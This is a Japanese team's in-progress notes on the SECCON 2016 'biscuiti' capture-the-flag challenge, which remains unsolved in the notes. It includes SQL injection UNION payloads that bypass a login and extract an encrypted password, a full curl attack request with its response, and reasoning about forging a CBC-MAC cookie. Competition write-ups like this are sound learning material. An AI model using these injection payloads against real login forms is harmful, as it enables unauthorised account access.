--- lang: ja-jp breaks: true --- biscuiti === ## 問題概要 ### ジャンル Web, Crypto ### 点数 300 points ### 問題文 biscuiti Can you login as admin? http://biscuiti.pwn.seccon.jp/ biscuiti.zip Note: You should estimate that exploits cost an hour. ### フラグ ??? ### 挑戦者 ww24 kkrnt ## 解法 ## 議論 `'UNION SELECT username,username FROM user;` これでログインはできた。(`$u['enc_passowrd']`が空になる為) しかし… FLAG を得るには Cookie を改竄する必要がある。 ``` JSESSION=YToyOntzOjQ6Im5hbWUiO3M6NToiYWRtaW4iO3M6NzoiaXNhZG1pbiI7Tjt9KSOL8reQbsVxc9b0b7idaQ%3D%3D ``` 末尾に MAC が付いて検証されるので、 `ENC_KEY` を特定する必要がある。 ### enc_password `'UNION SELECT enc_password as username,username FROM user;` で `$u['username']` に enc_password が入る。 ``` Sm+RR3dlJkryPkcj3S5YWymxlzuJ43A0K6vPYHfJVOo= ``` username を任意の値に変えて MAC 値を大量に生成すれば `ENC_KEY` 割り出せるのだろうか…? ```shell curl -v -XPOST http://biscuiti.pwn.seccon.jp -d "username=%27UNION+SELECT+'a'+as+username%2Cusername+FROM+user%3B&password=" * Rebuilt URL to: http://biscuiti.pwn.seccon.jp/ * Trying 153.127.201.171... * Connected to biscuiti.pwn.seccon.jp (153.127.201.171) port 80 (#0) > POST / HTTP/1.1 > Host: biscuiti.pwn.seccon.jp > User-Agent: curl/7.43.0 > Accept: */* > Content-Length: 74 > Content-Type: application/x-www-form-urlencoded > * upload completely sent off: 74 out of 74 bytes < HTTP/1.1 200 OK < Date: Sat, 10 Dec 2016 10:17:09 GMT < Server: Apache/2.4.18 (Ubuntu) < Set-Cookie: JSESSION=YToyOntzOjQ6Im5hbWUiO3M6MToiYSI7czo3OiJpc2FkbWluIjtOO33fAvOd5T9TFSbRQbjlTJOf < Vary: Accept-Encoding < Content-Length: 132 < Content-Type: text/html; charset=UTF-8 < <!doctype html> <html> <head><title>Login</title></head> <body> Hello a <div><a href="logout.php">Log out</a></div> </body> </html> * Connection #0 to host biscuiti.pwn.seccon.jp left intact ``` 可変長の場合の CBC-MAC の脆弱性を突こうと思ったけど、 `name` 部分しか変えられないからつらい。 ``` $ node solver.js aaa a:2:{s:4:"name";s:3:"aaa";s:7:"isadmin";N;} 7283c23fed0c95696115d5637fc72a4d ``` 3行目は MAC値 (hex) ``` $JSESSION = "YToyOntzOjQ6Im5hbWUiO3M6NToiYWRtaW4iO3M6NzoiaXNhZG1pbiI7Tjt9KSOL8reQbsVxc9b0b7idaQ=="; $u = base64_decode($JSESSION); $j = substr($u, 0, -16); $t = substr($u, -16); ``` のとき ``` $t == openssl_encrypt($j, "aes-128-cbc", $key, OPENSSL_RAW_DATA, str_repeat("\0", 16)) ``` が成立するときの$keyを探さなきゃいけない Brute Forceでやってみたけど, 全然ダメ…